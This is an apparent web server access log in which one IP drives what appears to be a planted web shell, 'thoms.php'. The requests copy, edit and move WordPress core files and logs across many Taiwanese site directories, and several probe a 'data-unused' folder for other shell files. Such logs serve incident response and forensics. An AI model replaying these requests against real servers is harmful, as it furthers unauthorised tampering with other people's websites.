45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12438 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22956 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-login.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22914 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22923 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11380 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22956 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?edit=error_log&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 17583 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?edit=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 13950 "http://163.245.207.76:443/thoms.php?edit=error_log&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20431 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20534 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22933 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22927 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p= HTTP/1.1" 200 12385 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Ferror_log&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?edit=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 13423 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 17021 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
